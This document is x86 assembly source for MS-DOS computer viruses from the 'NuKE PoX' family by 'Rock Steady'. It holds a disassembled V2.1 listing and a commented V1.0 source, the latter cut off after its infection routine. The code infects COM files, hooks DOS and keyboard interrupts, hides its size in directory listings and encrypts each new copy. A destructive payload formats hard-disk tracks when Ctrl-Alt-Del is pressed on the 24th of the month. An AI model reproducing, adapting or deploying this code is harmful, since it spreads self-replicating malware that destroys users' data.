jc loc_6 ; Jump if carry Set
dec ax
mov es,ax
mov cx,8
mov es:data_33e,cx
sub ax,0Fh
mov di,data_32e
mov es,ax
mov si,bp
add si,103h
mov cx,696h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
mov ax,2521h
;* mov dx,offset loc_65 ;*
db 0BAh, 8Eh, 02h
push es
pop ds
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_6:
push cs
pop ds
cmp cs:data_21[bp],5A4Dh
je loc_7 ; Jump if equal
mov bx,offset data_21
add bx,bp
mov ax,[bx]
mov word ptr ds:[100h],ax
inc bx
inc bx
mov al,[bx]
mov byte ptr ds:[102h],al
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,offset start
push ax
retn
db 'Death to Separatist'
db 0
loc_7:
mov bx,word ptr cs:data_12[bp]
mov dx,cs
sub dx,bx
mov ax,dx
add ax,cs:data_14[bp]
add dx,cs:data_16[bp]
mov bx,cs:data_13[bp]
mov word ptr cs:[236h][bp],bx
mov word ptr cs:[238h][bp],ax
mov ax,cs:data_13[bp]
mov word ptr cs:[22Ch][bp],dx
mov word ptr cs:[232h][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,0
cli ; Disable interrupts
mov ss,ax
mov sp,0
sti ; Enable interrupts
;* jmp far ptr loc_1 ;*
sub_1 endp
db 0EAh, 00h, 00h, 00h, 00h
loc_8:
call sub_2
test al,al
jnz loc_ret_15 ; Jump if not zero
push ax
push bx
push es
mov ah,51h ; 'Q'
int 21h ; DOS Services ah=function 51h
; get active PSP segment in bx
;* undocumented function
mov es,bx
cmp bx,es:data_1e
jne loc_14 ; Jump if not equal
mov bx,dx
mov al,[bx]
push ax
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
pop ax
inc al
jnz loc_13 ; Jump if not zero
add bx,7
loc_13:
mov ax,es:[bx+17h]
and ax,1Fh
cmp al,1Eh
jne loc_14 ; Jump if not equal
and byte ptr es:[bx+17h],0E0h
sub word ptr es:[bx+1Dh],696h
sbb word ptr es:[bx+1Fh],0
loc_14:
pop es
pop bx
pop ax
loc_ret_15:
iret ; Interrupt return
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
pushf ; Push flags
call dword ptr cs:data_10
retn
sub_2 endp
db 0EBh,0B0h
data_10 dw 0, 0 ; Data table (indexed access)
db 80h,0FCh, 11h, 74h,0F5h, 80h
db 0FCh, 12h, 74h,0F0h, 3Dh, 00h
db 4Bh, 74h, 27h, 80h,0FCh, 3Dh
db 74h, 12h, 80h,0FCh, 3Eh, 74h
db 15h, 3Dh,0DCh,0ABh, 75h, 02h
db 8Bh,0D8h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
jmp dword ptr cs:data_10
db 0CBh
db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh
db 8Ah, 02h
db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh
db 8Ah, 02h
db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh
db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h
db 51h, 52h, 1Eh,0E8h, 00h, 03h
db 0E8h, 82h, 02h, 72h, 1Eh,0B8h
db 00h, 43h,0E8h,0A0h,0FFh, 72h
db 16h,0F6h,0C1h, 01h, 74h, 0Bh
db 80h,0E1h,0FEh,0B8h, 01h, 43h
db 0E8h, 90h,0FFh
db 72h, 66h
loc_21:
mov ax,3D02h
call sub_2
loc_22:
jc loc_24 ; Jump if carry Set
mov bx,ax
call sub_12
jz loc_24 ; Jump if zero
push cs
pop ds
mov data_18,cx
mov data_19,dx
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
jc loc_23 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_23 ; Jump if carry Set
cmp data_21,5A4Dh
je loc_25 ; Jump if equal
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_24 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_23:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
mov ah,3Eh ; '>'
call sub_2
loc_24:
pop ds
pop dx
pop cx
pop bx
pop ax
iret ; Interrupt return
loc_25:
call sub_15
jc loc_24 ; Jump if carry Set
call sub_16
call sub_13
jmp short loc_23
sub_3 endp
data_12 db 0, 0 ; Data table (indexed access)
data_13 dw 0 ; Data table (indexed access)
data_14 dw 0 ; Data table (indexed access)
data_15 dw 0
data_16 dw 0 ; Data table (indexed access)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
call sub_8
jnc loc_26 ; Jump if carry=0
call sub_9
jnc loc_26 ; Jump if carry=0
retn
loc_26:
push ax
mov ax,3D02h
call sub_2
jnc loc_27 ; Jump if carry=0
pop ax
iret ; Interrupt return
loc_27:
push bx
push cx
push dx
push ds
mov bx,ax
call sub_12
jnz loc_28 ; Jump if not zero
call sub_17
loc_28:
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
cmp bx,0
je loc_ret_29 ; Jump if equal
cmp bx,5
ja loc_30 ; Jump if above
loc_ret_29:
retn
loc_30:
push ax
push bx
push cx
push dx
push di
push ds
push es
push bp
push bx
mov ax,1220h
int 2Fh ; DOS Internal services
;* undocumented function
mov ax,1216h
mov bl,es:[di]
int 2Fh ; DOS Internal services
;* undocumented function
pop bx
add di,11h
mov byte ptr es:[di-0Fh],2
add di,17h
cmp word ptr es:[di],4F43h
jne loc_31 ; Jump if not equal
cmp byte ptr es:[di+2],4Dh ; 'M'
jne loc_34 ; Jump if not equal
jmp short loc_35
db 90h
loc_31:
cmp word ptr es:[di],5845h
jne loc_34 ; Jump if not equal
cmp byte ptr es:[di+2],45h ; 'E'
jne loc_34 ; Jump if not equal
cmp word ptr es:[di-8],4353h
jne loc_32 ; Jump if not equal
cmp word ptr es:[di-6],4E41h
je loc_34 ; Jump if equal
loc_32:
cmp word ptr es:[di-8],2D46h
jne loc_33 ; Jump if not equal
cmp word ptr es:[di-6],5250h
je loc_34 ; Jump if equal
loc_33:
cmp word ptr es:[di-8],4C43h
jne loc_35 ; Jump if not equal
cmp word ptr es:[di-6],4145h
jne loc_35 ; Jump if not equal
loc_34:
jmp short loc_37
db 90h
loc_35:
call sub_12
jz loc_37 ; Jump if zero
push cs
pop ds
mov data_18,cx
mov data_19,dx
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
jc loc_36 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_36 ; Jump if carry Set
cmp data_21,5A4Dh
je loc_38 ; Jump if equal
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_36 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_36:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
loc_37:
pop bp
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
retn
loc_38:
call sub_15
jc loc_36 ; Jump if carry Set
call sub_16
call sub_13
jmp short loc_36
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
mov ah,40h ; '@'
mov dx,103h
mov cx,696h
call sub_2
jc loc_39 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_39 ; Jump if carry Set
clc ; Clear carry flag
retn
loc_39:
stc ; Set carry flag
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push ax
push bx
push cx
push dx
push ds
mov ax,4300h
call sub_2
test cl,1
jz loc_40 ; Jump if zero
and cl,0FEh
mov ax,4301h
call sub_2
jc loc_41 ; Jump if carry Set
loc_40:
mov ax,3D02h
call sub_2
jc loc_41 ; Jump if carry Set
mov bx,ax
call sub_12
jnz loc_41 ; Jump if not zero
call sub_17
loc_41:
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_42:
cmp byte ptr [si],2Eh ; '.'
je loc_43 ; Jump if equal
inc si
loop locloop_42 ; Loop if cx > 0
loc_43:
cmp word ptr [si+1],4F43h
jne loc_44 ; Jump if not equal
cmp byte ptr [si+3],4Dh ; 'M'
je loc_46 ; Jump if equal
loc_44:
cmp word ptr [si+1],6F63h
jne loc_45 ; Jump if not equal
cmp byte ptr [si+3],6Dh ; 'm'
je loc_46 ; Jump if equal
loc_45:
pop cx
pop si
stc ; Set carry flag
retn
loc_46:
pop cx
pop si
clc ; Clear carry flag
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_47:
cmp byte ptr [si],2Eh ; '.'
je loc_48 ; Jump if equal
inc si
loop locloop_47 ; Loop if cx > 0
loc_48:
cmp word ptr [si+1],5845h
jne loc_49 ; Jump if not equal
cmp byte ptr [si+3],45h ; 'E'
je loc_51 ; Jump if equal
loc_49:
cmp word ptr [si+1],7865h
jne loc_50 ; Jump if not equal
cmp byte ptr [si+3],65h ; 'e'
je loc_51 ; Jump if equal
loc_50:
pop cx
pop si
stc ; Set carry flag
retn
loc_51:
pop cx
pop si
clc ; Clear carry flag
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
push bx
push cx
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
xchg ax,bx
mov cl,4
shr bx,cl ; Shift w/zeros fill
and ax,0Fh
add dx,bx
pop cx
pop bx
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_52:
cmp byte ptr [si],2Eh ; '.'
je loc_53 ; Jump if equal
inc si
loop locloop_52 ; Loop if cx > 0
loc_53:
cmp word ptr [si-2],4E41h
jne loc_54 ; Jump if not equal
cmp word ptr [si-4],4353h
je loc_57 ; Jump if equal
loc_54:
cmp word ptr [si-2],4E41h
jne loc_55 ; Jump if not equal
cmp word ptr [si-4],454Ch
je loc_57 ; Jump if equal
loc_55:
cmp word ptr [si-2],544Fh
jne loc_56 ; Jump if not equal
cmp word ptr [si-4],5250h
je loc_57 ; Jump if equal
loc_56:
pop cx
pop si
clc ; Clear carry flag
retn
loc_57:
pop cx
pop si
stc ; Set carry flag
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
mov ax,5700h
call sub_2
mov al,cl
or cl,1Fh
dec cx
xor al,cl
retn
sub_12 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
push bx
push cx
mov cl,7
shl dx,cl ; Shift w/zeros fill
mov bx,ax
mov cl,9
shr bx,cl ; Shift w/zeros fill
add dx,bx
and ax,1FFh
jz loc_58 ; Jump if zero
inc dx
loc_58:
pop cx
pop bx
mov cs:data_22,ax
mov cs:data_24,dx
mov ah,40h ; '@'
mov dx,77Eh
mov cx,1Bh
call sub_2
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
pushf ; Push flags
push ax
push bx
push cx
push dx
push ds
push es
push ss
push sp
push cs
pop ds
mov dx,74Bh
mov ax,4300h
call sub_2
jc loc_60 ; Jump if carry Set
test cl,1
jz loc_59 ; Jump if zero
and cl,0FEh
mov ax,4301h
call sub_2
jc loc_62 ; Jump if carry Set
loc_59:
mov ax,3D02h
call sub_2
loc_60:
jc loc_62 ; Jump if carry Set
mov bx,ax
call sub_12
jz loc_62 ; Jump if zero
mov data_18,cx
mov data_19,dx
mov ah,3Fh ; '?'
mov cx,3
mov dx,77Eh
call sub_2
jc loc_61 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_62 ; Jump if carry Set
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_62 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_61:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
mov ah,3Eh ; '>'
call sub_2
loc_62:
pop sp
pop ss
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
mov cx,cs:data_28
mov cs:data_13,cx
mov cx,cs:data_29
mov cs:data_14,cx
mov cx,cs:data_27
mov cs:data_15,cx
mov cx,cs:data_26
mov cs:data_16,cx
push ax
push dx
call sub_10
sub dx,cs:data_25
mov word ptr cs:data_12,dx
push ax
push dx
call sub_6
pop dx
pop ax
mov cs:data_29,dx
mov cs:data_28,ax
pop dx
pop ax
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
add ax,696h
adc dx,0
push ax
push dx
call sub_10
sub dx,cs:data_25
add ax,40h
mov cs:data_26,dx
mov cs:data_27,ax
pop dx
pop ax
retn
sub_16 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
dec cx
mov cs:data_18,cx
mov cs:data_19,dx
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
mov cx,dx
mov dx,ax
push cx
push dx
sub dx,1Bh
sbb cx,0
mov ax,4200h
call sub_2
push cs
pop ds
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
xor cx,cx ; Zero register
xor dx,dx ; Zero register
mov ax,4200h
call sub_2
mov ah,40h ; '@'
mov dx,77Eh
mov cx,1Bh
cmp cs:data_21,5A4Dh
je loc_64 ; Jump if equal
mov cx,3
loc_64:
call sub_2
pop dx
pop cx
sub dx,696h
sbb cx,0
mov ax,4200h
call sub_2
mov ah,40h ; '@'
xor cx,cx ; Zero register
call sub_2
mov cx,cs:data_18
mov dx,cs:data_19
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov ah,3Eh ; '>'
call sub_2
retn
sub_17 endp
db 'C:\COMMAND.COM'
db 0
data_18 dw 0
data_19 dw 0
db 00h, 00h,0E9h
data_20 dw 9090h
db 'NuKE PoX V2.1 - Rock Steady'
data_21 dw 0CD90h ; Data table (indexed access)
data_22 dw 20h
data_24 dw 0
db 0, 0
data_25 dw 0
db 0, 0, 0, 0
data_26 dw 0
data_27 dw 0
db 0, 0
data_28 dw 0
data_29 dw 0
db 0, 0, 0
seg_a ends
end start

View File

@ -0,0 +1,344 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
